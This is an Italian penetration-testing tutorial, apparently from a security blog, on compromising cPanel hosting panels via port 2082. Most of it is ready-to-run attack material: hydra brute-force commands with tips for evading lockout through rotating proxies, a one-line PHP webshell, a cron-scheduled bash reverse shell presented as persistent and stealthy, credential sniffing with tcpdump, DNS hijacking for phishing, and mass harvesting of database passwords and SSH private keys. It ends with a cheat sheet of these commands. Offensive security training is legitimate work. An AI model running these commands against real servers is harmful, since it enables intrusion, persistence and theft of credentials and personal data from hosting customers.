networking

Porta 2082 cPanel: Pentest, Credential Reuse e Webshell

Porta 2082 cPanel: Pentest, Credential Reuse e Webshell

Porta 2082 cPanel nel pentest: login HTTP non cifrato, credential reuse, upload via File Manager, accesso a database, email e backup.

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 5 min

Executive Summary — cPanel è il pannello di controllo hosting più diffuso al mondo. La porta 2082 serve l’interfaccia utente su HTTP (non criptato), mentre la porta 2083 è la versione SSL. Le porte admin (WHM) sono la 2086 (HTTP) e 2087 (HTTPS). cPanel dà accesso completo all’hosting: file manager, database, email, DNS, cron, SSH — il che significa che comprometterlo equivale a compromettere tutto il sito. Nel pentest, cPanel si attacca principalmente via credenziali deboli (brute force, credential reuse, default), e una volta dentro si ha RCE tramite file manager, terminal SSH integrato o cron job.

Cos’è la porta 2082 (cPanel HTTP)

  • La porta 2082 espone cPanel su HTTP — traffico in chiaro con credenziali intercettabili
  • Accesso a cPanel = accesso completo all’hosting (file, database, email, cron, SSH)
  • Il riutilizzo delle credenziali (FTP, email, sito) è il vettore più comune — spesso sono le stesse di cPanel

Cos’è cPanel #

cPanel è un pannello di gestione hosting basato su web. Viene installato su server Linux (CentOS/AlmaLinux/CloudLinux) e fornisce un’interfaccia grafica per gestire ogni aspetto dell’hosting web:

text
cPanel (porta 2082/2083) — Pannello UTENTE
├── File Manager (upload, edit, permessi)
├── MySQL Databases (crea DB, utenti, phpMyAdmin)
├── Email Accounts (crea, gestisci)
├── Cron Jobs (schedule comandi)
├── Terminal / SSH Access
├── DNS Zone Editor
├── SSL/TLS
├── Backup
├── Softaculous (installer CMS)
├── Metrics (Awstats, error log)
└── Security (IP Blocker, Hotlink Protection)

WHM (porta 2086/2087) — Pannello ADMIN/RESELLER
├── Gestione di TUTTI gli account cPanel
├── Configurazione server
├── DNS cluster
├── Firewall (CSF)
└── Root access

La porta 2082 serve cPanel su HTTP in chiaro. Nella pratica moderna, la maggior parte dei server redirige alla 2083 (SSL), ma la 2082 può essere ancora attiva — e il traffico è intercettabile.

Architettura porte cPanel #

PortaServizioAccesso
2082cPanel HTTPUtente
2083cPanel HTTPSUtente (preferita)
2086WHM HTTPAdmin/Reseller
2087WHM HTTPSAdmin/Reseller
2095Webmail HTTPEmail
2096Webmail HTTPSEmail

1. Enumerazione #

Nmap #

bash
nmap -sV -p 2082,2083,2086,2087 10.10.10.40
text
PORT     STATE SERVICE  VERSION
2082/tcp open  http     cPanel httpd
2083/tcp open  ssl/http cPanel httpd
2086/tcp open  http     cPanel httpd (WHM)
2087/tcp open  ssl/http cPanel httpd (WHM)

Verifica manuale #

bash
curl -s http://10.10.10.40:2082/ -I
text
HTTP/1.1 301 Moved Permanently
Location: https://10.10.10.40:2083/
Server: cpsrvd/11.109

Redirige alla 2083, ma la 2082 è aperta. Se il redirect non è forzato o se intercetti il traffico, le credenziali passano in chiaro su HTTP.

bash
# Verifica la versione cPanel
curl -sk https://10.10.10.40:2083/login/ | grep -i "cpanel\|version"

Enumerazione utenti (WHM) #

Se la porta 2087 (WHM) è accessibile:

bash
curl -sk https://10.10.10.40:2087/ -I

WHM gestisce tutti gli account cPanel del server. Compromettere WHM = compromettere tutti i siti hostati.

Username discovery #

I username cPanel sono spesso:

  • Il nome del dominio troncato a 8 caratteri (corplocal per corp-local.com)
  • Il prefisso dell’email (admin, info, webmaster)
  • Lo username FTP (identico a cPanel nella maggior parte dei setup)
bash
# Prova login per enumerare utenti validi
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
  -d "user=admin&pass=test" | grep -i "invalid\|incorrect"

Alcuni setup cPanel rispondono diversamente per utente valido vs invalido — timing attack o messaggio diverso.

2. Credential Attack #

Credential Reuse #

Il vettore più comune. Le credenziali cPanel sono quasi sempre identiche a:

  • Credenziali FTP (porta 21)
  • Credenziali email (POP3/IMAP)
  • Credenziali del database MySQL di primo setup

Se hai già compromesso FTP o trovato credenziali in un file di configurazione:

bash
# Credenziali trovate in wp-config.php o .env
# Username: corpsite
# Password: Hosting2025!

# Testa su cPanel
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
  -d "user=corpsite&pass=Hosting2025!"

Brute Force #

bash
hydra -l corpsite -P /usr/share/wordlists/rockyou.txt \
  10.10.10.40 https-post-form \
  "/login/?login_only=1:user=^USER^&pass=^PASS^:The login is invalid"

Attenzione: cPanel ha protezione brute force integrata (cPHulk). Dopo 5-10 tentativi falliti, il tuo IP viene bloccato. Strategie:

text
- Password spray (poche password, molti utenti) invece di brute force
- Usa proxy rotanti
- Aspetta il timeout del blocco (default: 15-30 minuti)
- Se hai accesso WHM: cPHulk può essere disabilitato

Credenziali default #

cPanel non ha credenziali “default” universali, ma:

  • Server appena installati con password deboli del provider
  • Password generate dal provider hosting (spesso pattern prevedibili)
  • Password temporanee inviate via email (spesso mai cambiate)

3. Post-Authentication — Cosa Fare con cPanel #

Una volta dentro cPanel, hai accesso completo all’hosting. Ecco i vettori di RCE e data extraction.

File Manager → Webshell #

text
cPanel → File Manager → public_html/
→ Upload → carica cmd.php

Contenuto di cmd.php:
<?php system($_GET['c']); ?>
bash
# Test
curl "http://10.10.10.40/cmd.php?c=id"
text
uid=1001(corpsite) gid=1001(corpsite) groups=1001(corpsite)

RCE come l’utente cPanel. Per il privilege escalation: cerca SUID, sudo, kernel exploit.

Terminal SSH Integrato #

cPanel moderno ha un terminale SSH nel browser:

text
cPanel → Advanced → Terminal

Shell interattiva direttamente dal pannello — non serve webshell.

Cron Jobs → Reverse Shell #

text
cPanel → Advanced → Cron Jobs
→ Add New Cron Job
→ Command: bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'
→ Schedule: * * * * * (ogni minuto)

Reverse shell persistente ogni minuto. Più stealth di una webshell.

phpMyAdmin → Database Dump #

text
cPanel → Databases → phpMyAdmin
→ Accedi al database
→ Export → SQL

Dump completo del database con credenziali utenti, dati personali, hash password. Se è WordPress:

sql
SELECT user_login, user_pass FROM wp_users;
text
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BgD2E8J5vFN1FH... (phpass hash) |
+------------+------------------------------------+

Cracka con hashcat mode 400 (phpass).

Backup → Credenziali e Dati #

text
cPanel → Files → Backup → Download a Full Account Backup

Il backup completo contiene: tutti i file, tutti i database, le email, le configurazioni. Analizzalo offline per credenziali, chiavi SSH e dati sensibili.

Email → Intelligence #

text
cPanel → Email → Email Accounts
→ Accedi alla webmail
→ Cerca email con password, credenziali di servizi esterni, token API

DNS → Redirect Traffic #

text
cPanel → Domains → DNS Zone Editor
→ Modifica record A, MX, CNAME

Puoi redirigere il traffico del sito, le email o i sottodomini verso server che controlli — phishing e man-in-the-middle.

4. Da cPanel a Server Root #

L’utente cPanel non è root. Per escalare:

bash
# Dalla shell cPanel (terminal o webshell):
uname -r
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null

Per la linux enumeration completa e la linux privilege escalation.

CVE specifici cPanel:

bash
searchsploit cpanel

cPanel ha avuto CVE di privilege escalation locale (da utente cPanel a root). Cerca per la versione specifica.

5. Lateral Movement — Verso Altri Account #

Su un server cPanel shared hosting, ci sono decine/centinaia di siti. Se ottieni root:

bash
# Lista tutti gli account cPanel
cat /etc/trueuserdomains
text
corpsite: corp-local.com
othersite: other-domain.com
shopsite: shop-example.com
bash
# Credenziali MySQL di tutti gli account
cat /home/*/public_html/wp-config.php 2>/dev/null | grep DB_PASSWORD
bash
# Chiavi SSH di tutti
find /home/*/.ssh -name "id_rsa" 2>/dev/null

6. Intercettazione Traffico su Porta 2082 #

La porta 2082 è HTTP — non criptato. Se sei sulla stessa rete (o in posizione MITM):

bash
# Sniffa credenziali cPanel
tcpdump -i eth0 port 2082 -A | grep -iE "user=|pass="
text
user=corpsite&pass=Hosting2025!

Credenziali in chiaro. Per questo la 2082 dovrebbe essere disabilitata a favore della 2083 SSL.

7. Cheat Sheet Finale #

AzioneComando/Metodo
Nmapnmap -sV -p 2082,2083,2086,2087 target
Banner grabcurl -s http://target:2082/ -I
Login testcurl -sk https://target:2083/login/?login_only=1 -d "user=X&pass=Y"
Brute forcehydra -l user -P wordlist target https-post-form ...
Webshell via FMUpload cmd.php in public_html
Cron reverse shell* * * * * bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
DB dumpphpMyAdmin → Export
Full backupcPanel → Backup → Full Account
Sniff HTTPtcpdump -i eth0 port 2082 -A

Riferimento: cPanel documentation, HackTricks cPanel, searchsploit. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#cPanel #Credential Reuse #Webshell Upload

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.